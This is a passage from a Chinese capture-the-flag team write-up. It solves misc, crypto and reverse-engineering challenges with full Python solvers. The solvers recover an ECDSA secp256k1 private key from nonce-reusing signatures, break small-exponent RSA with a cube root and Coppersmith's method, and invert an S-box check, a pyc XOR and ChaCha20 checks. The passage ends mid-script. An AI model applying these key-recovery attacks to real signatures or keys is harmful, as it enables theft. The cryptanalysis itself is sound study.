战队:3F04282D0A
感谢 Bewater、SdTVdp、LFischl 在本次比赛中的投入。本文按题型汇总战队实际完成的 19 道题,保留关键分析、完整脚本与实际验证结果。
MISC 幻影(LFischl)
文件分析 附件是一个 data.bin。先用“随波逐流”扫描,可以看出 Flag 为 UUID 格式。
再用 010 Editor 查看文件内容,提取出 Base64 数据并解码。
单字节异或 解码后的数据仍是密文,对 0x00–0xff 的单字节密钥逐一异或,并按 Flag 格式过滤结果。
1 2 3 4 5 6 7 import recipher = b"7=06*52efa2ah|5g42|e5f2|h20g|0idcbdb4be33," for key in range (256 ): plain = bytes (b ^ key for b in cipher) if re.search(rb"flag\{[^}]+\}" , plain, re.IGNORECASE): print (f"key = 0x{key:02x} " ) print (plain.decode("ascii" , errors="ignore" ))
Flag flag{dc470c09-d6ec-4d7c-9ca6-a852353e34bb}
签到题-损坏的压缩包(LFischl)
修复与解码 附件为 archive_08.zip。压缩包的目录结构存在损坏,使用 Bandizip 的修复功能处理后即可正常解压。
解压后得到 Base64 字符串,直接解码即可还原结果。
Flag flag{dfmz}
迷宫(LFischl)
定位 vault.bin 沿附件中的目录层级逐步进入,最终在隐藏配置目录下找到 vault.bin。使用 010 Editor 打开后,可以看到主体是一段 Base64 文本。
文件中的有效 Base64 数据为:
1 NGNkMmE2ZmU3N2M2NDYzZTEwMmM5NjMxZDYzMWZmZjA=
Base64 解码 取到结尾填充符 = 为止的有效数据,在 CyberChef 中进行 Base64 解码,得到 32 位十六进制字符串 4cd2a6fe77c6463e102c9631d631fff0。
按题目格式补全 flag{} 后即可得到最终结果。
Flag flag{4cd2a6fe77c6463e102c9631d631fff0}
像素中的秘密(SdTVdp)
检查 PNG 结构 附件 image_09.zip 中只有 image_09.png。图片可以正常打开,视觉上是一张 64 x 64 的纯白 PNG。
继续按 PNG chunk 格式解析,正常结构只有 IHDR、IDAT 和 IEND:
1 2 3 0x0008 IHDR len=13 end=0x21 0x0021 IDAT len=124 end=0xa9 0x00a9 IEND len=0 end=0xb5
IEND 结束偏移为 0xb5,但文件总长度为 245 字节,因此文件尾还有 64 字节追加数据。隐藏内容不在像素 LSB 中,而在 PNG 的 IEND 之后。
提取并解密尾部数据 提取出的 64 字节追加数据为:
1 0000000069cb3445d5dd713d5d0e34cec22eb9484e1bba9045ffd4bb0c11026cb206bcc5cb28dc03d1ace75dedc106ad28679a31dc8b6ef5d0ef82f90493d63d
结合数据结构,将其拆分为三段:
1 2 3 reserved = 00000000 seed = 69cb3445 cipher = d5dd713d5d0e34cec22eb9484e1bba9045ffd4bb0c11026cb206bcc5cb28dc03d1ace75dedc106ad28679a31dc8b6ef5d0ef82f90493d63d
将 seed 按大端序解析为 0x69cb3445,用它初始化线性同余生成器。每轮更新 x = (1664525 * x + 1013904223) & 0xffffffff,取 x 的低 8 位与密文字节异或,得到中间 Base62 字符串:
1 5bctImRCJiCYrptEu06bhb4qjQvdGSBfQsU4YB
再按字母表 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ 进行 Base62 解码,即可还原 Flag。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import structimport zipfilefrom pathlib import PathPNG_SIG = b"\x89PNG\r\n\x1a\n" BASE62_ALPHABET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" def parse_png_and_get_trailer (png_data: bytes ) -> bytes : if not png_data.startswith(PNG_SIG): raise ValueError("not a PNG file" ) pos = len (PNG_SIG) while pos + 12 <= len (png_data): length = struct.unpack(">I" , png_data[pos:pos + 4 ])[0 ] chunk_type = png_data[pos + 4 :pos + 8 ] chunk_end = pos + 12 + length if chunk_type == b"IEND" : return png_data[chunk_end:] pos = chunk_end raise ValueError("IEND chunk not found" ) def lcg_xor_decrypt (seed: int , cipher: bytes ) -> bytes : x = seed out = bytearray () for byte in cipher: x = (1664525 * x + 1013904223 ) & 0xffffffff out.append(byte ^ (x & 0xff )) return bytes (out) def base62_decode (text: str ) -> bytes : num = 0 for ch in text: num = num * 62 + BASE62_ALPHABET.index(ch) return num.to_bytes((num.bit_length() + 7 ) // 8 , "big" ) def main (): zip_path = Path("image_09.zip" ) with zipfile.ZipFile(zip_path, "r" ) as zf: png_name = zf.namelist()[0 ] png_data = zf.read(png_name) trailer = parse_png_and_get_trailer(png_data) reserved = trailer[:4 ] seed = int .from_bytes(trailer[4 :8 ], "big" ) cipher = trailer[8 :] middle = lcg_xor_decrypt(seed, cipher).rstrip(b"\x00" ).decode("ascii" ) flag = base62_decode(middle).decode("utf-8" ) print ("reserved:" , reserved.hex ()) print ("seed:" , hex (seed)) print ("cipher length:" , len (cipher)) print ("LCG XOR result:" , middle) print ("flag:" , flag) if __name__ == "__main__" : main()
Flag flag{known_plaintext_attack}
CRYPTO ECDSA nonce 重用(Bewater)
核心漏洞 题目给出了两条不同消息的 ECDSA 签名,它们使用同一公钥,并且满足 signature1_r == signature2_r。这表明签名时重复使用了同一个随机数 k。
ECDSA 签名公式为 s = k^-1 * (z + r * d) mod n。两式相减后可以直接恢复 nonce:
1 2 k = (z1 - z2) * (s1 - s2)^ -1 mod n d = (s1 * k - z1) * r^ -1 mod n
哈希与私钥验证 两条消息是十六进制编码,需要先使用 bytes.fromhex() 还原原始字节,再计算 SHA-256。恢复出的 nonce 为 0x7b15150fcb977c9427977cdcaf733b45020a134ed9a8325cf3f0d9e26a33d503,私钥为 0x25b7feda5c207eb13d6c860c736aad45835da29c0246d8ccd1196443b32f77ea。
使用恢复出的私钥与生成元 G 做标量乘法,所得点与题目公钥一致。Flag 取私钥十六进制字符串的前 32 个字符。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 import argparseimport hashlibimport jsonP = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 GX = 55066263022277343669578718895168534326250603453777594175500187360389116729240 GY = 32670510020758816978083085130507043184471273380659243275938904335757337482424 def parse_int (value ): if isinstance (value, int ): return value value = str (value).strip() if value.lower().startswith("0x" ): return int (value, 16 ) return int (value) def inv_mod (value, modulus ): return pow (value % modulus, -1 , modulus) def point_add (a, b ): if a is None : return b if b is None : return a x1, y1 = a x2, y2 = b if x1 == x2 and (y1 + y2) % P == 0 : return None if a == b: lam = (3 * x1 * x1) * inv_mod(2 * y1, P) % P else : lam = (y2 - y1) * inv_mod(x2 - x1, P) % P x3 = (lam * lam - x1 - x2) % P y3 = (lam * (x1 - x3) - y1) % P return (x3, y3) def point_mul (k, point ): result = None addend = point while k: if k & 1 : result = point_add(result, addend) addend = point_add(addend, addend) k >>= 1 return result def ecdsa_hash_to_int (message_hex ): message = bytes .fromhex(message_hex) digest = hashlib.sha256(message).digest() z = int .from_bytes(digest, "big" ) digest_bits = len (digest) * 8 n_bits = N.bit_length() if digest_bits > n_bits: z >>= digest_bits - n_bits return z def recover_private_key (data ): r1 = parse_int(data["signature1_r" ]) r2 = parse_int(data["signature2_r" ]) if r1 != r2: raise ValueError("signature1_r != signature2_r, so the nonce-reuse condition is not met" ) s1 = parse_int(data["signature1_s" ]) s2 = parse_int(data["signature2_s" ]) z1 = ecdsa_hash_to_int(data["message1" ]) z2 = ecdsa_hash_to_int(data["message2" ]) k = ((z1 - z2) * inv_mod(s1 - s2, N)) % N d = ((s1 * k - z1) * inv_mod(r1, N)) % N return { "r" : r1, "s1" : s1, "s2" : s2, "z1" : z1, "z2" : z2, "k" : k, "d" : d, } def build_flag (private_key ): priv_hex = f"{private_key:064x} " return f"flag{{ecdsa_nonce_reuse_{priv_hex[:32 ]} }}" def main (): parser = argparse.ArgumentParser( description="Recover a secp256k1 ECDSA private key from two signatures that reused the same nonce." ) parser.add_argument("challenge" , help ="Path to challenge.json" ) args = parser.parse_args() with open (args.challenge, "r" , encoding="utf-8" ) as f: data = json.load(f) curve_name = str (data.get("curve" , "" )).lower() if curve_name != "secp256k1" : raise ValueError(f"Unsupported curve: {data.get('curve' )} " ) result = recover_private_key(data) public_key = (parse_int(data["public_key_x" ]), parse_int(data["public_key_y" ])) derived_public_key = point_mul(result["d" ], (GX, GY)) verified = derived_public_key == public_key print (f"r = 0x{result['r' ]:064x} " ) print (f"s1 = 0x{result['s1' ]:064x} " ) print (f"s2 = 0x{result['s2' ]:064x} " ) print (f"z1 = 0x{result['z1' ]:064x} " ) print (f"z2 = 0x{result['z2' ]:064x} " ) print (f"k = 0x{result['k' ]:064x} " ) print (f"private_key = 0x{result['d' ]:064x} " ) print (f"public_key_verified = {verified} " ) print (f"flag = {build_flag(result['d' ])} " ) if __name__ == "__main__" : main()
Flag flag{ecdsa_nonce_reuse_25b7feda5c207eb13d6c860c736aad45}
BabyRSA4(Bewater)
低指数攻击 题目使用 RSA 公钥指数 e = 3。当明文较短且 m^3 < n 时,模运算实际没有发生回绕,因而 c = m^3 mod n 等价于整数域上的 c = m^3。对密文直接开整数立方根即可恢复明文。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util.number import long_to_bytesdef integer_cbrt (num ): left, right = 0 , num while left <= right: mid = (left + right) // 2 val = mid ** 3 if val == num: return mid elif val < num: left = mid + 1 else : right = mid - 1 return right n = 90472319190191436498656329216269075762987334382158517522571084872962426913048037630542093505180424958521811984478465171653316099814521346741473161134438338431604219377764394763973639101480700360594302986965727749160349061733258177062638384416554049792433655280079472665914825611038481378584969091905410690393 e = 3 c = 2217344750801130684919496666982573147047384246866263513165043145054778649744525576092543411472445987523767148116670481554996499816326638711275273787291361936549404927640726148457591026510067227198773069368842973739246970587734331363796710227152083320540042932668261882015333 m = integer_cbrt(c) flag = long_to_bytes(m) print (flag.decode())
Flag flag{b2df01757bf6216ee42656c99534e693}
ScatterRSA2(SdTVdp)
加密结构 附件解压后得到 task.py 和 output.txt。同一明文 m 先经过三组不同的线性变换 a_i * m + b_i,再分别使用指数 e = 3 进行 RSA 加密。
每个信道满足:
1 2 3 4 (a_ i*x + b_ i)^ 3 - c_ i == 0 (mod n_ i) f_ i(x) = (b_ i^ 3-c_ i) + 3*a_ i*b_ i^ 2*x + 3*a_ i^ 2*b_ i*x^ 2 + a_ i^ 3*x^ 3
三个模数 n_i 两两互素,因此可以将三条三次同余按多项式系数分别用 CRT 合并,得到模 N = n1 * n2 * n3 的三次同余。最高次系数与 N 互素,乘其逆元后化为首一多项式:
1 f(x) = x^ 3 + u2*x^ 2 + u1*x + u0
利用 Flag 格式进一步缩小未知量。设中间内容长度为 k,则:
1 2 m = bytes_ to_ long(b"flag{") * 256^ (k+1) + 256*y + ord("}") 0 <= y < 256^ k
遍历中间内容长度,对 y 使用单变量 Coppersmith 小根求解。LLL 约化得到候选根后,再回代三条原始同余;三组均成立时输出 Flag。
题目源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from secret import flagfrom Crypto.Util.number import *import randomm = bytes_to_long(flag) e = 3 print (f"e = {e} " )for i in range (3 ): p = getPrime(512 ) q = getPrime(512 ) n = p * q a = random.getrandbits(128 ) | (1 << 127 ) b = random.getrandbits(256 ) | (1 << 255 ) c = pow (a * m + b, e, n) print (f"n{i+1 } = {n} " ) print (f"a{i+1 } = {a} " ) print (f"b{i+1 } = {b} " ) print (f"c{i+1 } = {c} " )
题目输出 1 2 3 4 5 6 7 8 9 10 11 12 13 e = 3 n1 = 106942858976837461231869224985700778482062286073360067401664531056810083958780571502313463376483350698131773553082175875215723887321050148363182735079797616626363005392597385593185664941948197534874212258582102810493286143935415748556536186145362206413165825137102596658269090498262143681608309430440308757483 a1 = 299322928681076422038745665978862379157 b1 = 59087081825181636501158935761312878233448985130888172824087923722210974268705 c1 = 98294624733261319181583988519681835440462282361073935201625891101125390829100807293422676761229527485704773592497676317140386159502203937759033089603745824436086090158155363126240815171760903433001978041454184608846117326755667241724444923731185842787498879658486140909685827166808315057166416446385436338157 n2 = 98316426231482946975220425947801720886255114719000796514586297591562275903798640552997266908434574210875738432635350750273976191275978931867337229907998058722410059986521848910740489322024211230961021860961337278448228096641563785010181868332574445300470055958568704370327903434313610576813501939245586716999 a2 = 238175606177678308209456565225464121331 b2 = 72209677443052235578472305367068399561075517868865334527715804876606806849079 c2 = 88401412351676668895751185489122390231114438608063010755900866791975770053335804008673736673911247079044349112634505953389525849238999412142403629818741958448609728629912228248004232558218608993697936231523194426570646371272426953511640995374687770257536086766030334449610400022537915291876862108725263772017 n3 = 72725422695793899253139314142362633592506815609086636853568526928203603008459966889354908333262381449316654250663565909258842111058952182342094883201771130466270690676608041755358180159161394939564642949722257047549807728787885968332865646047202276439654826869809727279696887495884775007409012322878986435881 a3 = 293362810333071134334840063072261059660 b3 = 63834403243032230124923183263952558992908714633021292626749573535323605242389 c3 = 68718536017407339439769718499720278152615742583566502851329876282270515709381515122358672880144700924309792042502641894193895098761601183907220576779403200872369777511381788203190872314946279937795612780437730276557999152558818644252231059897779130944032015742444879995522966157358401481873828599118792316846
EXP 脚本依赖 sympy 与 python-flint,只对题目给出的本地参数进行计算。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 """ ScatterRSA2 solver. Dependencies: python -m pip install sympy python-flint The script combines three affine RSA equations with CRT and solves the resulting monic cubic congruence by Coppersmith's univariate small-root method. """ from __future__ import annotationsimport mathimport refrom pathlib import Pathimport sympy as spfrom flint import fmpz_matROOT = Path(__file__).resolve().parent OUTPUT = ROOT / "extracted" / "output.txt" def load_values (path: Path = OUTPUT ) -> dict [str , int ]: text = path.read_text(encoding="utf-8" ) return {name: int (value) for name, value in re.findall(r"([a-z]\d*|e) = (\d+)" , text)} def crt (residues: list [int ], moduli: list [int ] ) -> int : modulus = math.prod(moduli) total = 0 for residue, mod in zip (residues, moduli): part = modulus // mod total = (total + residue * part * pow (part, -1 , mod)) % modulus return total def trim (poly: list [int ] ) -> list [int ]: while len (poly) > 1 and poly[-1 ] == 0 : poly.pop() return poly def mul (p: list [int ], q: list [int ] ) -> list [int ]: out = [0 ] * (len (p) + len (q) - 1 ) for i, pi in enumerate (p): if pi == 0 : continue for j, qj in enumerate (q): if qj: out[i + j] += pi * qj return trim(out) def power (poly: list [int ], exp: int ) -> list [int ]: out = [1 ] base = poly[:] while exp: if exp & 1 : out = mul(out, base) exp >>= 1 if exp: base = mul(base, base) return out def shift (poly: list [int ], amount: int ) -> list [int ]: return [0 ] * amount + poly def mod_poly (poly: list [int ], modulus: int ) -> list [int ]: return [coeff % modulus for coeff in poly] def compose_linear (poly: list [int ], base: int , scale: int , modulus: int ) -> list [int ]: """Return poly(base + scale*x) modulo modulus, coefficients low to high.""" out = [0 ] cur = [1 ] linear = [base % modulus, scale % modulus] for coeff in poly: if len (out) < len (cur): out.extend([0 ] * (len (cur) - len (out))) coeff %= modulus for i, value in enumerate (cur): out[i] = (out[i] + coeff * value) % modulus cur = mod_poly(mul(cur, linear), modulus) return trim(mod_poly(out, modulus)) def eval_mod (poly: list [int ], x_value: int , modulus: int ) -> int : value = 0 for coeff in reversed (poly): value = (value * x_value + coeff) % modulus return value def make_monic (poly: list [int ], modulus: int ) -> list [int ]: degree = len (poly) - 1 inv = pow (poly[-1 ] % modulus, -1 , modulus) return [(poly[i] * inv) % modulus for i in range (degree)] + [1 ] def combine_polynomial (values: dict [str , int ] ) -> tuple [list [int ], int ]: ns = [values[f"n{i} " ] for i in range (1 , 4 )] as_ = [values[f"a{i} " ] for i in range (1 , 4 )] bs = [values[f"b{i} " ] for i in range (1 , 4 )] cs = [values[f"c{i} " ] for i in range (1 , 4 )] modulus = math.prod(ns) combined: list [int ] = [] for degree in range (4 ): residues = [] for a, b, c, n in zip (as_, bs, cs, ns): local = [ (b**3 - c) % n, (3 * a * b * b) % n, (3 * a * a * b) % n, (a**3 ) % n, ] residues.append(local[degree]) combined.append(crt(residues, ns)) return make_monic(combined, modulus), modulus def coppersmith_small_roots ( poly: list [int ], modulus: int , bound: int , mm: int = 1 , tt: int = 3 ) -> list [int ]: """Find roots |x| < bound for a monic polynomial modulo modulus.""" degree = len (poly) - 1 lattice_polys: list [list [int ]] = [] for i in range (mm): fi = power(poly, i) multiplier = modulus ** (mm - i) for j in range (degree): lattice_polys.append([coeff * multiplier for coeff in shift(fi, j)]) fm = power(poly, mm) for j in range (tt): lattice_polys.append(shift(fm, j)) max_degree = max (len (p) for p in lattice_polys) - 1 powers = [1 ] for _ in range (max_degree): powers.append(powers[-1 ] * bound) rows = [] for p in lattice_polys: rows.append( [(p[i] if i < len (p) else 0 ) * powers[i] for i in range (max_degree + 1 )] ) reduced = fmpz_mat(rows).lll(delta=0.99 , eta=0.51 ) x = sp.Symbol("x" ) roots: set [int ] = set () for row_index in range (reduced.nrows()): row = [int (reduced[row_index, col]) for col in range (reduced.ncols())] candidate_poly = [] for i, coeff in enumerate (row): if coeff % powers[i] != 0 : break candidate_poly.append(coeff // powers[i]) else : candidate_poly = trim(candidate_poly) if len (candidate_poly) == 1 : continue integer_poly = sp.Poly.from_list( list (reversed (candidate_poly)), gens=x, domain=sp.ZZ ) for root in integer_poly.ground_roots(): if root.is_Integer: value = int (root) if 0 <= value < bound and eval_mod(poly, value, modulus) == 0 : roots.add(value) return sorted (roots) def verify_plaintext (m: int , values: dict [str , int ] ) -> bool : for i in range (1 , 4 ): n = values[f"n{i} " ] a = values[f"a{i} " ] b = values[f"b{i} " ] c = values[f"c{i} " ] if pow (a * m + b, values["e" ], n) != c: return False return True def recover_flag () -> bytes : values = load_values() combined, modulus = combine_polynomial(values) prefixes = [b"flag{" , b"FLAG{" , b"DASCTF{" , b"YWB{" , b"GWHT{" ] for prefix in prefixes: for middle_len in range (1 , 96 ): base = int .from_bytes(prefix, "big" ) * (256 ** (middle_len + 1 )) + ord ("}" ) transformed = compose_linear(combined, base, 256 , modulus) transformed += [0 ] * (4 - len (transformed)) monic = make_monic(transformed[:4 ], modulus) bound = 256 **middle_len for middle in coppersmith_small_roots(monic, modulus, bound): m = base + 256 * middle if verify_plaintext(m, values): return m.to_bytes((m.bit_length() + 7 ) // 8 , "big" ) raise RuntimeError("flag not found" ) if __name__ == "__main__" : flag = recover_flag() print (flag.decode())
Flag flag{e3bed61d917f86053a6ec4a2adb9d34c}
REVERSE rerere(SdTVdp)
定位校验逻辑 获取 rerere.exe 后,先确认它是 Windows x64 PE 程序。程序中可以直接看到 Input、Correct!、Wrong! 字符串,并导入 fgets、strlen、puts 等函数,可以判断这是输入校验类逆向题。
在 IDA 中定位到 main_logic,程序要求输入长度为 0x26,即 38 字节。进入 check_input 后,校验逻辑等价于:
1 2 3 4 5 for i in range (0x26 ): index = input [i] ^ key[i & 7 ] if sbox[index] != target[i]: return False return True
因此无需爆破,只需构造 S-box 的逆表,按 input[i] = inverse_sbox[target[i]] ^ key[i & 7] 逐字节反算。
关键数据 1 2 3 4 5 6 7 target: a3 5b 4c 0a 0e b8 f4 da 14 75 02 3a 8d e5 77 d5 b1 43 ac a7 b1 49 a5 64 d7 96 02 a7 b1 79 42 b6 53 43 43 49 5c 6c xor_ key: b9 cd ce 30 b8 61 4e aa
解题脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import argparseimport structfrom pathlib import PathTARGET_VA = 0x140004020 KEY_VA = 0x140004048 SBOX_VA = 0x140004060 TARGET_LEN = 0x26 KEY_LEN = 8 SBOX_LEN = 256 def u16 (buf, off ): return struct.unpack_from("<H" , buf, off)[0 ] def u32 (buf, off ): return struct.unpack_from("<I" , buf, off)[0 ] def u64 (buf, off ): return struct.unpack_from("<Q" , buf, off)[0 ] def parse_pe_sections (buf ): if buf[:2 ] != b"MZ" : raise ValueError("not a PE file: missing MZ header" ) pe_off = u32(buf, 0x3C ) if buf[pe_off : pe_off + 4 ] != b"PE\x00\x00" : raise ValueError("not a PE file: missing PE signature" ) section_count = u16(buf, pe_off + 6 ) optional_size = u16(buf, pe_off + 20 ) optional_off = pe_off + 24 magic = u16(buf, optional_off) if magic != 0x20B : raise ValueError(f"expected PE32+ executable, got optional header {magic:#x} " ) image_base = u64(buf, optional_off + 24 ) section_off = optional_off + optional_size sections = [] for index in range (section_count): off = section_off + index * 40 name = buf[off : off + 8 ].rstrip(b"\x00" ).decode("ascii" , "replace" ) virtual_size = u32(buf, off + 8 ) virtual_address = u32(buf, off + 12 ) raw_size = u32(buf, off + 16 ) raw_pointer = u32(buf, off + 20 ) sections.append((name, virtual_address, max (virtual_size, raw_size), raw_pointer)) return image_base, sections def va_to_file_offset (va, image_base, sections ): rva = va - image_base for name, virtual_address, size, raw_pointer in sections: if virtual_address <= rva < virtual_address + size: return raw_pointer + (rva - virtual_address) raise ValueError(f"VA {va:#x} is not covered by any section" ) def read_at_va (buf, image_base, sections, va, size ): off = va_to_file_offset(va, image_base, sections) return buf[off : off + size] def solve (binary_path ): buf = binary_path.read_bytes() image_base, sections = parse_pe_sections(buf) target = read_at_va(buf, image_base, sections, TARGET_VA, TARGET_LEN) key = read_at_va(buf, image_base, sections, KEY_VA, KEY_LEN) sbox = read_at_va(buf, image_base, sections, SBOX_VA, SBOX_LEN) inverse_sbox = [None ] * 256 for index, value in enumerate (sbox): inverse_sbox[value] = index if any (value is None for value in inverse_sbox): raise ValueError("sbox is not a complete byte permutation" ) flag = bytes (inverse_sbox[target[i]] ^ key[i % KEY_LEN] for i in range (TARGET_LEN)) encoded = bytes (sbox[flag[i] ^ key[i % KEY_LEN]] for i in range (TARGET_LEN)) if encoded != target: raise ValueError("self-check failed" ) return flag, target, key def main (): parser = argparse.ArgumentParser(description="Solve rerere8 reverse challenge." ) parser.add_argument( "binary" , nargs="?" , default=Path(__file__).resolve().parent / "rerere8" / "rerere.exe" , type =Path, help ="path to rerere.exe" , ) args = parser.parse_args() flag, target, key = solve(args.binary) print (f"binary: {args.binary} " ) print (f"target[{len (target)} ]: {target.hex ()} " ) print (f"key[{len (key)} ]: {key.hex ()} " ) print (f"flag: {flag.decode('ascii' )} " ) if __name__ == "__main__" : main()
将反算出的 Flag 输入原程序,程序输出 Correct!,校验通过。
Flag flag{557050ec8cf8f479b22ad0797f69fe3e}
字节码追踪(SdTVdp)
反汇编 pyc 解压 py_obf_04.zip 后只有一个 py_obf_04.pyc。文件 magic 为 cb 0d 0d 0a,经 xdis 识别为 Python 3.12 字节码。当前 Python 3.13 无法直接运行,因此改用 xdis 反汇编。
在 main 中,encoded_flag 是一段 Base64 字符串,xor_key 为 199。decrypt_flag 先执行 Base64 解码,再对每个字节异或 0xc7。
关键数据 1 2 encoded_ flag = oaumoLz+oKqlsqnz/+qg8Kir6ret/73qq7Gx/+quqPC39Km3srar8vW6 xor_ key = 199 # 0xc7
解题脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import base64import reimport zipfilefrom pathlib import PathXOR_KEY = 199 DEFAULT_ARCHIVE = Path(__file__).with_name("py_obf_04.zip" ) def load_challenge_bytes (path: Path ) -> bytes : if path.suffix.lower() == ".zip" : with zipfile.ZipFile(path) as zf: pyc_names = [name for name in zf.namelist() if name.endswith(".pyc" )] if not pyc_names: raise RuntimeError("zip 中没有找到 .pyc 文件" ) return zf.read(pyc_names[0 ]) return path.read_bytes() def extract_base64_constant (data: bytes ) -> str : candidates = [] for offset in range (len (data) - 2 ): if data[offset] == ord ("z" ): size = data[offset + 1 ] match = data[offset + 2 : offset + 2 + size] if len (match ) >= 24 : candidates.append(match ) for run in re.findall(rb"[A-Za-z0-9+/]{24,}={0,2}" , data): for start in range (0 , min (4 , len (run))): match = run[start:] if len (match ) >= 24 : candidates.append(match ) valid = [] for match in candidates: if len (match ) % 4 : continue try : base64.b64decode(match , validate=True ) except Exception: continue valid.append(match ) if not valid: raise RuntimeError("没有在 pyc 中找到 base64 编码常量" ) return max (valid, key=len ).decode() def decrypt (encoded_flag: str , key: int = XOR_KEY ) -> str : decoded = base64.b64decode(encoded_flag) return bytes (byte ^ key for byte in decoded).decode() def main () -> None : data = load_challenge_bytes(DEFAULT_ARCHIVE) encoded_flag = extract_base64_constant(data) flag = decrypt(encoded_flag) print (f"encoded_flag = {encoded_flag} " ) print (f"xor_key = {XOR_KEY} " ) print (f"flag = {flag} " ) if __name__ == "__main__" : main()
Flag flag{9gmbun48-g7ol-pj8z-lvv8-io7p3npuql52}
ChaCha20(SdTVdp) 解压题目附件后,确认核心文件是 APK,其中包含 x86 native 库 libmyapplication.so。
从 Java 层定位 native 校验 用 jadx 打开 APK,在 MainActivity 的按钮回调中看到输入被传给 NativeBridge.c(candidate),因此真正的校验逻辑位于 native 层。
在 JNI_OnLoad 的 RegisterNatives 注册表中,方法 c (Ljava/lang/String;)Z 对应地址 0x25350。
1 2 3 a ([B)[B -> 0x250D0 b ([B)[B -> 0x25210 c (Ljava/lang/String;)Z -> 0x25350
识别 ChaCha20 进入 0x25350 后,函数取出用户输入,调用 0x25760 进行 XOR 流加密,然后转为十六进制并与内置字符串比较。
继续跟进 0x25760 和 0x26CE0,可以看到常量 expand 32-byte k,以及 16、12、8、7 的 quarter round 轮转参数,可确认为标准 ChaCha20。参数为:
1 2 3 4 key: 0xF305, 32 bytes nonce: 0xF325, 12 bytes counter: 1 target_ hex: 0xE3B6
ChaCha20 是流密码,校验等价于 hex(plaintext XOR keystream) == target_hex,对目标密文再异或同一段密钥流即可恢复明文。
解题脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 import argparseimport structimport zipfilefrom pathlib import PathKEY_OFF = 0xF305 NONCE_OFF = 0xF325 TARGET_HEX_OFF = 0xE3B6 COUNTER = 1 def u32_words (data ): return struct.unpack("<%dI" % (len (data) // 4 ), data) def rotl32 (value, bits ): return ((value << bits) & 0xFFFFFFFF ) | (value >> (32 - bits)) def quarter_round (state, a, b, c, d ): state[a] = (state[a] + state[b]) & 0xFFFFFFFF state[d] ^= state[a] state[d] = rotl32(state[d], 16 ) state[c] = (state[c] + state[d]) & 0xFFFFFFFF state[b] ^= state[c] state[b] = rotl32(state[b], 12 ) state[a] = (state[a] + state[b]) & 0xFFFFFFFF state[d] ^= state[a] state[d] = rotl32(state[d], 8 ) state[c] = (state[c] + state[d]) & 0xFFFFFFFF state[b] ^= state[c] state[b] = rotl32(state[b], 7 ) def chacha20_block (key, nonce, counter ): constants = b"expand 32-byte k" initial = list (u32_words(constants) + u32_words(key) + (counter,) + u32_words(nonce)) state = initial[:] for _ in range (10 ): quarter_round(state, 0 , 4 , 8 , 12 ) quarter_round(state, 1 , 5 , 9 , 13 ) quarter_round(state, 2 , 6 , 10 , 14 ) quarter_round(state, 3 , 7 , 11 , 15 ) quarter_round(state, 0 , 5 , 10 , 15 ) quarter_round(state, 1 , 6 , 11 , 12 ) quarter_round(state, 2 , 7 , 8 , 13 ) quarter_round(state, 3 , 4 , 9 , 14 ) out = [(state[i] + initial[i]) & 0xFFFFFFFF for i in range (16 )] return struct.pack("<16I" , *out) def chacha20_xor (data, key, nonce, counter=1 ): stream = bytearray () block_counter = counter while len (stream) < len (data): stream.extend(chacha20_block(key, nonce, block_counter)) block_counter = (block_counter + 1 ) & 0xFFFFFFFF return bytes (x ^ y for x, y in zip (data, stream)) def c_string (blob, offset ): end = blob.index(b"\x00" , offset) return blob[offset:end] def load_so (apk_path ): with zipfile.ZipFile(apk_path, "r" ) as apk: return apk.read("lib/x86/libmyapplication.so" ) def solve (apk_path ): so = load_so(apk_path) key = so[KEY_OFF : KEY_OFF + 32 ] nonce = so[NONCE_OFF : NONCE_OFF + 12 ] target_hex = 